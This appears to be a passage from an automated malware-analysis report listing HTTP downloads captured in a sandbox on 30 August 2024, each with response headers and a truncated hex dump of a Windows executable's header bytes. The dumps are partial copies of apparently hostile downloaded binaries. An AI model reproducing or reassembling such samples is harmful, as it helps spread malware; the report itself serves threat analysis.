63 00 00 0c 00 00 00 00 60 03 00 00 02 00 00 00 16 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 2b 03 00 00 00 00 00 48 00 00 00 02 00 05 00 78 19 03 00 a8 10 00 00 03 00 02 00 0e 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 25 ea d8 79 0d b1 e0 89 aa 77 ce 55 25 14 42 8d 1e d9 d3 8a f8 a4 4e 32 d8 39 70 a2 84 95 96 84 a1 c2 2a 92 b9 f2 01 f7 e3 40 b0 a7 56 16 25 f3 25 14 37 eb cc d2 3d 89 3a 95 86 9e 9c db 75 3b 37 06 79 d9 26 98 b2 b9 c4 52 ff 4a 12 5b 1d 79 41 d6 34 2d db 46 89 e5 bc fa 20 e0 40 e6 36 c2 81 6e c9 ad 4e aa e3 33 e1 39 69 c0 2a 9d c9 e5 77 a4 89 08 3b 70 8f 73 1e 57 df ce b6 e3 6d ee 21 9d a9 d2 0f d1 de dc 32 8d 96 08 03 8e 4e b2 e6 c7 c5 31 1c 9f 7e c7 a5 ba a8 a4 c9 7d 45 ed d6 7e b9 69 3d 42 c7 e0 bd 7f a5 74 9b ea 26 62 63 60 77 31 bf 7b 05 6c bc d5 25 6d 95 55 23 38 bc 52 de c8 99 e6 89 99 e1 00 d6 0d 17 e0 fe bb 6a 26 da 3c 80 7a 8e 13 78 92 93 01 71 8f 87 db f9 e8 ab a3 12 f2 6e 88 c5 3b 10 74 8e 97 f1 f9 75 65 af 92 9f 25 72 33 34 df 47 2a 78 75 b7 de c6 92 ae b2 92 e1 55 83 5c c0 60 cc 12 d7 7f 17 ba 86 56 16 f3 2c 12 c3 9e e6 07 e0 74 58 b5 01 7c 3c 18 8e 08 16 d7 04 e0 e5 31 fe 5e 2
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Fri, 30 Aug 2024 04:17:03 GMTContent-Type: application/octet-streamContent-Length: 10902016Last-Modified: Thu, 22 Aug 2024 08:54:11 GMTConnection: keep-aliveKeep-Alive: timeout=120ETag: "66c6fcb3-a65a00"X-Content-Type-Options: nosniffAccept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 64 86 0a 00 30 fc c6 66 00 00 00 00 00 00 00 00 f0 00 23 00 0b 02 0e 00 00 82 00 00 00 06 cd 00 00 00 00 00 6f 09 82 01 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 90 99 01 00 04 00 00 00 00 00 00 02 00 20 81 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 f8 ef 81 01 3c 00 00 00 00 80 96 01 d0 04 03 00 40 53 96 01 60 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 0e 81 01 28 00 00 00 00 52 96 01 38 01 00 00 00 00 00 00 00 00 00 00 00 20 f3 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f6 80 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 20 1f 00 00 00 a0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 08 e8 c9 00 00 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 80 01 00 00 00 b0 ca 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 30 30 63 66 67 00 00 10 00 00 00 00 c0 ca 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 10 00 00 00 00 d0 ca 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 65 78 74 30 00 00 c6 3a 28 00 00 e0 ca 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 74 65 78 74 31 00 00 58 00 00 00 00 20 f3 00 00 02 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 65 78 74 32 00 00 a0 4d a3 00 00 30 f3 00 00 4e a3 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 68 2e 72 73 72 63 00 00 00 d0 04 03 00 00 80 96 01 00 06 03 00 00 54 a3 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Fri, 30 Aug 2024 04:17:03 GMTContent-Type: application/octet-streamContent-Length: 795648Last-Modified: Sun, 18 Aug 2024 09:57:23 GMTConnection: keep-aliveKeep-Alive: timeout=120ETag: "66c1c583-c2400"X-Content-Type-Options: nosniffAccept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 98 e1 fc bd dc 80 92 ee dc 80 92 ee dc 80 92 ee c2 d2 16 ee c7 80 92 ee c2 d2 07 ee cc 80 92 ee c2 d2 11 ee 96 80 92 ee fb 46 e9 ee d9 80 92 ee dc 80 93 ee b6 80 92 ee c2 d2 18 ee dd 80 92 ee c2 d2 06 ee dd 80 92 ee c2 d2 03 ee dd 80 92 ee 52 69 63 68 dc 80 92 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 0a 92 0e 65 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 40 0a 00 00 e0 02 00 00 00 00 00 7e 17 00 00 00 10 00 00 00 50 0a 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 30 0d 00 00 04 00 00 a0 65 0c 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 14 66 0a 00 3c 00 00 00 00 80 0b 00 d8 a3 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 63 0a 00 40 00 00 00 00 00 00 00 00 00 00 00 00 50 0a 00 68 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 c9 3f 0a 00 00 10 00 00 00 40 0a 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 4c 1e 00 00 00 50 0a 00 00 20 00 00 00 44 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 9c 0e 01 00 00 70 0a 00 00 1c 00 00 00 64 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 d8 a3 01 00 00 80 0b 00 00 a4 01 00 00 80 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Fri, 30 Aug 2024 04:17:04 GMTContent-Type: application/octet-streamContent-Length: 3337480Last-Modified: Thu, 29 Aug 2024 10:40:43 GMTConnection: keep-aliveKeep-Alive: timeout=120ETag: "66d0502b-32ed08"X-Content-Type-Options: nosniffAccept-Ranges: bytesData Raw: 4d 5a 60 00 01 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 52 65 71 75 69 72 65 20 57 69 6e 64 6f 77 73 0d 0a 24 50 45 00 00 4c 01 04 00 ce 3f c3 4f 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 08 00 00 90 01 00 00 96 00 00 00 00 00 00 5f 94 01 00 00 10 00 00 00 a0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 02 00 00 02 00 00 fe f3 32 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 84 c9 01 00 c8 00 00 00 00 30 02 00 88 4e 00 00 00 00 00 00 00 00 00 00 40 b0 32 00 c8 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 01 00 6c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 0e 8e 01 00 00 10 00 00 00 90 01 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 da 3b 00 00 00 a0 01 00 00 3c 00 00 00 92 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 ec 4d 00 00 00 e0 01 00 00 0a 00 00 00 ce 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 88 4e 00 00 00 30 02 00 00 50 00 00 00 d8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 55 8b ec a1 60 e9 41 00 81 ec 04 09 00 00 53 33 db 3b c3 56 57 74 1f 66 39 1d 62 e9 41 00 74 07 ff d0 a3 60 e9 41 00 50 e8 50 14 00 00 50 e8 ef 84 00 00 59 eb 6e 6a 27 e8 40 14 00 00 8b 75 08 ff 76 0c 8b 3d c0 a2 41 00 ff 36 50 8d 85 fc f6 ff ff 50 ff d7 83 c4 14 39 5e 10 89 5d fc 76 38 8d 5e 14 ff 33 8d 85 fc fe ff ff 68 90 a4 41 00 50 ff d7 83 c4 0c 8d 85 fc fe ff ff 50 8d 85 fc f6 ff ff 50 ff 15 78 a1 41 00 ff 45 fc 8b 45 fc 83 c3 04 3b 46 10 72 cb 8d 85 fc f6 ff ff 50 e8 7e 84 00 00 59 e8 d4 36 00 00 6a 0a ff 15 74 a1 41 00 cc ff 74 24 04 e8 44 ff ff ff cc 56 8b f1 e8 25 73 00 00 c7 06 a0 a4 41 00 c7 46 38 d2 07 00 00 8b c6 5e c3 6a 01 ff 71 04 ff 15 bc a2 41 00 c3 33 c0 39 05 60 ea 41 00 74 07 b8 04 40 00 80 eb 1e 39 44 24 08 74 16 ff 74 24 08 50 68 02 80 00 00 ff 35 58 ea 41 00 ff 15 b8 a2 41 00 33 c0 c2 08 00 8b 44 24 04 83 60 1c 00 83 7c 24 08 00 75 07 c7 40 1c 01 00 00 00 33 c0 c2 08 00 a0 70 e9 41 00 f6 d8 1b c0 83 e0 0b 83 c0 08 c3 ff 74 24 10 8b 44 24 08 ff 74 24 10 c7 05 60 e9 41 00 2f 11 40 00 ff 74 24 10 8b 08 50 ff 51 0c 83 25 60 e9 41 00 00 c3 33 c0 c2 0c 00 8b 54 24 08 8b 4c 24 04 0f b7 02 66 89 01 41 41 42 42
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Fri, 30 Aug 2024 04:17:07 GMTContent-Type: application/octet-streamContent-Length: 5358592Last-Modified: Sat, 24 Aug 2024 12:36:13 GMTConnection: keep-aliveKeep-Alive: timeout=120ETag: "66c9d3bd-51c400"X-Content-Type-Options: nosniffAccept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 e0 50 3f fc 00 00 00 00 00 00 00 00 e0 00 0e 01 0b 01 06 00 00 2e 50 00 00 92 01 00 00 00 00 00 2e 4c 50 00 00 20 00 00 00 60 50 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 40 52 00 00 04 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 e0 4b 50 00 4b 00 00 00 00 80 50 00 f8 87 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 52 00 0c 00 00 00 9a 4b 50 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 34 2c 50 00 00 20 00 00 00 2e 50 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 73 64 61 74 61 00 00 20 07 00 00 00 60 50 00 00 08 00 00 00 32 50 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f8 87 01 00 00 80 50 00 00 88 01 00 00 3a 50 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 20 52 00 00 02 00 00 00 c2 51 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 30 Aug 2024 04:17:18 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 14:30:30 GMTETag: "10e436-5e7eeebed8d80"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 30 Aug 2024 04:17:23 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "a7550-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 30 Aug 2024 04:17:24 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "94750-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 